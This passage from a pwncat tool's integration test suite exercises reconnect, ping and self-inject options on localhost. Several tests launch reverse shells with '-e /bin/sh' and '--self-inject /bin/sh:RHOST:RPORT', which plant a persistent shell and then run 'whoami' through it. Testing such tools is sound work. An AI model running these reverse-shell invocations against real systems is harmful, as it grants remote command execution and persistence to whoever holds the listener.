"${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv3_stdout}" "${srv3_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv3_stdout}" "${srv3_stderr}" "(Connection refused)|(actively refused)|(timed out)" ### ### ### STOP CLIENT ### ### # -------------------------------------------------------------------------------- # STOP: CLIENT # -------------------------------------------------------------------------------- print_h2 "(12/12) Stop: Client" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv3_stdout}" "${srv3_stderr}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown --reconn -vvvv" "1" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 --reconn -vvvv" "2" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 --reconn -vvvv" "3" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown --reconn -vvvv" "4" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 --reconn -vvvv" "5" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown --reconn -vvvv" "6" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 --reconn -vvvv" "7" "14" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown --reconn -vvvv" "8" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 --reconn -vvvv" "9" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 --reconn -vvvv" "10" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown --reconn -vvvv" "11" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 --reconn -vvvv" "12" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown --reconn -vvvv" "13" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 --reconn -vvvv" "14" "14" "${curr_round}" "${RUNS}" done pwncat-0.1.2/tests/integration/23-options---reconn/README.md000066400000000000000000000001261414025024700233010ustar00rootroot00000000000000# Server `--reconn` These tests ensure that the `--reconn` option works as expected. pwncat-0.1.2/tests/integration/25-options---ping_intvl/000077500000000000000000000000001414025024700227125ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/25-options---ping_intvl/000---udp---reverse-shell.sh000077500000000000000000000155171414025024700274110ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= local data_or= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="abcdefghijklmnopqrstuvwxyz1234567890\\n" data_or="abcdefghijklmnopqrstuvwxyz1234567890\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(1/4) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/4) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # [ROUND-2: SRV-SEND] DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/4) Transfer: Server -> Client (round 2)" # [SERVER -> Client] wait_for_data_transferred "" "${data}" "${data_or}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # STOP: SERVER/CLIENT # -------------------------------------------------------------------------------- print_h2 "(4/4) Stop: Server/Client" # [SERVER] Manually stop the Server action_stop_instance "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [Client] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do echo # server opts client opts run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown --ping-intvl 1 -u -vvvv" "1" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown -u -vvv " "${RHOST} ${RPORT} --no-shutdown --ping-intvl 1 -u -vvvv" "2" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown -u -vv " "${RHOST} ${RPORT} --no-shutdown --ping-intvl 1 -u -vvvv" "3" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown -u -v " "${RHOST} ${RPORT} --no-shutdown --ping-intvl 1 -u -vvvv" "4" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown -u " "${RHOST} ${RPORT} --no-shutdown --ping-intvl 1 -u -vvvv" "5" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown --ping-intvl 1 -u -vvv " "6" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown --ping-intvl 1 -u -vv " "7" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown --ping-intvl 1 -u -v " "8" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown --ping-intvl 1 -u " "9" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown -u -vvv " "${RHOST} ${RPORT} --no-shutdown --ping-intvl 1 -u -vvv " "10" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown -u -vv " "${RHOST} ${RPORT} --no-shutdown --ping-intvl 1 -u -vv " "11" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown -u -v " "${RHOST} ${RPORT} --no-shutdown --ping-intvl 1 -u -v " "12" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown -u " "${RHOST} ${RPORT} --no-shutdown --ping-intvl 1 -u " "13" "13" "${curr_round}" "${RUNS}" done pwncat-0.1.2/tests/integration/25-options---ping_intvl/README.md000066400000000000000000000001361414025024700241710ustar00rootroot00000000000000# Server `--ping-intvl` These tests ensure that the `--ping-intvl` option works as expected. pwncat-0.1.2/tests/integration/26-options---ping_word/000077500000000000000000000000001414025024700225325ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/26-options---ping_word/000---udp---reverse-shell.sh000077500000000000000000000167361414025024700272350ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= local data_or= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="abcdefghijklmnopqrstuvwxyz1234567890\\n" data_or="abcdefghijklmnopqrstuvwxyz1234567890\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(1/4) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/4) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # [ROUND-2: SRV-SEND] DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/4) Transfer: Server -> Client (round 2)" # [SERVER -> Client] wait_for_data_transferred "" "${data}" "${data_or}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # TEST: RECEIVED PING WORD # -------------------------------------------------------------------------------- print_h2 "(4/5) Transfer: Client -> Server (ping word)" # [SERVER -> Client] wait_for_data_transferred "^test(test)*" "" "" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # STOP: SERVER/CLIENT # -------------------------------------------------------------------------------- print_h2 "(5/5) Stop: Server/Client" # [SERVER] Manually stop the Server action_stop_instance "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [Client] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do echo # server opts client opts run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown --ping-word test --ping-intvl 1 -u -vvvv" "1" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown -u -vvv " "${RHOST} ${RPORT} --no-shutdown --ping-word test --ping-intvl 1 -u -vvvv" "2" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown -u -vv " "${RHOST} ${RPORT} --no-shutdown --ping-word test --ping-intvl 1 -u -vvvv" "3" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown -u -v " "${RHOST} ${RPORT} --no-shutdown --ping-word test --ping-intvl 1 -u -vvvv" "4" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown -u " "${RHOST} ${RPORT} --no-shutdown --ping-word test --ping-intvl 1 -u -vvvv" "5" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown --ping-word test --ping-intvl 1 -u -vvv " "6" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown --ping-word test --ping-intvl 1 -u -vv " "7" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown --ping-word test --ping-intvl 1 -u -v " "8" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown --ping-word test --ping-intvl 1 -u " "9" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown -u -vvv " "${RHOST} ${RPORT} --no-shutdown --ping-word test --ping-intvl 1 -u -vvv " "10" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown -u -vv " "${RHOST} ${RPORT} --no-shutdown --ping-word test --ping-intvl 1 -u -vv " "11" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown -u -v " "${RHOST} ${RPORT} --no-shutdown --ping-word test --ping-intvl 1 -u -v " "12" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown -u " "${RHOST} ${RPORT} --no-shutdown --ping-word test --ping-intvl 1 -u " "13" "13" "${curr_round}" "${RUNS}" done pwncat-0.1.2/tests/integration/26-options---ping_word/README.md000066400000000000000000000001361414025024700240110ustar00rootroot00000000000000# Server `--ping-intvl` These tests ensure that the `--ping-intvl` option works as expected. pwncat-0.1.2/tests/integration/30-cnc---self_inject/000077500000000000000000000000001414025024700220725ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/30-cnc---self_inject/000---tcp---pwncat_as_rev_shell.sh000077500000000000000000000200121414025024700300130ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" #local data= #local data_or= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="whoami\\n" expect="$(whoami)\\n" expect_or="$(whoami)\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" srv2_stdout="$(tmp_file)" srv2_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/9) Start: PwncatInjectListener" # Start Server print_info "Start PwncatInjectListener" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "PwncatInjectListener" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "PwncatInjectListener" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/9) Start: RevShell" # Start Client print_info "Start RevShell" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is done run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Client has no errors test_case_instance_has_no_errors "RevShell" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # TEST: Inject shell is running # -------------------------------------------------------------------------------- print_h2 "(3/9) Test: Inject shell is running" CURR=0 TRIES=80 # shellcheck disable=SC2009 while [ "$(ps auxw | grep -v grep | grep reconn-wait | awk '{print $2}' | wc -l)" -ne "1" ]; do printf "." sleep 1 CURR=$(( CURR + 1 )) if [ "${CURR}" -gt "${TRIES}" ]; then kill_pid "${srv_pid}" || true kill_pid "${cli_pid}" || true print_file "PwncatInjectListener] - [/dev/stderr" "${srv_stderr}" print_file "PwncatInjectListener] - [/dev/stdout" "${srv_stdout}" print_file "RevShell] - [/dev/stderr" "${cli_stderr}" print_file "RevShell] - [/dev/stdout" "${cli_stdout}" FILES="$(grep 'tmpfile:' "${srv_stdout}" | sed 's/.*tmpfile: //g' | awk -F"'" '{print $2}')" echo "${FILES}"| while read -r line; do echo "${line}" print_file "Remote tmpfile" "${line}" || true done print_error "Inject shell is not running" run "ps" run "ps -a" || true run "ps -au" || true run "ps -aux" || true run "ps a" || true run "ps au" || true run "ps aux" || true run "ps -ef" || true exit 1 fi done # -------------------------------------------------------------------------------- # TEST: Client shut down automatically # -------------------------------------------------------------------------------- print_h2 "(4/9) Test: RevShell shut down automatically" ## Give some time for shutdown #run "sleep 10" ## [CLIENT] Manually stop the Client #test_case_instance_is_stopped "RevShell" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "PwncatInjectListener" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" ## [CLIENT] Ensure Client still has no errors #test_case_instance_has_no_errors "RevShell" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "PwncatInjectListener" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "(Connection refused)|(actively refused)|(timed out)" run "kill ${cli_pid}" || true # -------------------------------------------------------------------------------- # TEST: Server shut down automatically # -------------------------------------------------------------------------------- print_h2 "(5/9) Test: PwncatInjectListener shut down automatically" ## Give some time for shutdown #run "sleep 10" ## [SERVER] Ensure Server has quit automatically #test_case_instance_is_stopped "PwncatInjectListener" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "RevShell" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" ## [SERVER] Ensure Server still has no errors #test_case_instance_has_no_errors "PwncatInjectListener" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "RevShell" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" run "kill ${srv_pid}" || true # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(6/9) Start: FinalListener" # Start Server run "sleep 5" print_info "Start FinalListener" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" -l ${RPORT} -vvvv "${srv2_stdout}" "${srv2_stderr}" )"; then printf "" fi # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(7/9) Transfer: FinalListener -> Pwncat -> FinalListener" # [CLIENT -> SERVER -> CLIENT] wait_for_data_transferred "" "${expect}" "${expect_or}" "FinalListener" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" # -------------------------------------------------------------------------------- # TEST: Server shut down automatically # -------------------------------------------------------------------------------- print_h2 "(8/9) Test: FinalListener shut down automatically" ## Give some time for shutdown #run "sleep 10" ## [SERVER] Ensure Server has quit automatically #test_case_instance_is_stopped "FinalListener" "${srv_pid}" "${srv2_stdout}" "${srv_stderr}" ## [SERVER] Ensure Server has no errors #test_case_instance_has_no_errors "FinalListener" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" run "kill ${srv_pid}" || true # -------------------------------------------------------------------------------- # CLEANUP # -------------------------------------------------------------------------------- print_h2 "(9/9) Cleanup" run "ps auxw | grep -v grep | grep reconn-wait | awk '{print \$2}' | xargs kill" || true print_file "PwncatInjectListener] - [/dev/stderr" "${srv_stderr}" print_file "PwncatInjectListener] - [/dev/stdout" "${srv_stdout}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do # PwncatInjectListener opts RevShell opts # BIND ON ANY run_test "-l ${RPORT} --self-inject /bin/sh:${RHOST}:${RPORT} -vvvv" "${RHOST} ${RPORT} -e /bin/sh -vvvv" "1" "1" "${curr_round}" "${RUNS}" done pwncat-0.1.2/tests/integration/30-cnc---self_inject/001---tcp---revshell-multi_byte-banner-suffix.sh000077500000000000000000000160461414025024700325520ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" ONE_BYTE="0" SEND_DELAY="0" BANNER="banner\n" PREFIX1="" PREFIX2="" SUFFIX1="[0] cytopia at hostname in ~/tmp/pwncat (☿ pwncat.git release-0.1.0+)\n" SUFFIX2="tmux:>bash> " # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" #local data= #local data_or= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="whoami\\n" expect="$(whoami)\\n" expect_or="$(whoami)\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" srv2_stdout="$(tmp_file)" srv2_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/8) Start: PwncatInjectListener" # Start Server print_info "Start PwncatInjectListener" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "PwncatInjectListener" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "PwncatInjectListener" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/8) Start: RevShell" # Start Client print_info "Start RevShell" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "" "${PYTHON}" ${SCRIPTPATH}/revshell.py ${RHOST} ${RPORT} "${ONE_BYTE}" "${SEND_DELAY}" "${BANNER}" "${PREFIX1}" "${PREFIX2}" "${SUFFIX1}" "${SUFFIX2}" "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is done run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Client has no errors test_case_instance_has_no_errors "RevShell" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # TEST: Inject shell is running # -------------------------------------------------------------------------------- print_h2 "(3/8) Test: Inject shell is running" CURR=0 TRIES=80 # shellcheck disable=SC2009 while [ "$(ps auxw | grep -v grep | grep reconn-wait | awk '{print $2}' | wc -l)" -ne "1" ]; do printf "." sleep 1 CURR=$(( CURR + 1 )) if [ "${CURR}" -gt "${TRIES}" ]; then kill_pid "${srv_pid}" || true kill_pid "${cli_pid}" || true print_file "PwncatInjectListener] - [/dev/stderr" "${srv_stderr}" print_file "PwncatInjectListener] - [/dev/stdout" "${srv_stdout}" print_file "RevShell] - [/dev/stderr" "${cli_stderr}" print_file "RevShell] - [/dev/stdout" "${cli_stdout}" FILES="$(grep 'tmpfile:' "${srv_stdout}" | sed 's/.*tmpfile: //g' | awk -F"'" '{print $2}')" echo "${FILES}"| while read -r line; do echo "${line}" print_file "Remote tmpfile" "${line}" || true done print_error "Inject shell is not running" run "ps" run "ps -a" || true run "ps -au" || true run "ps -aux" || true run "ps a" || true run "ps au" || true run "ps aux" || true run "ps -ef" || true exit 1 fi done # 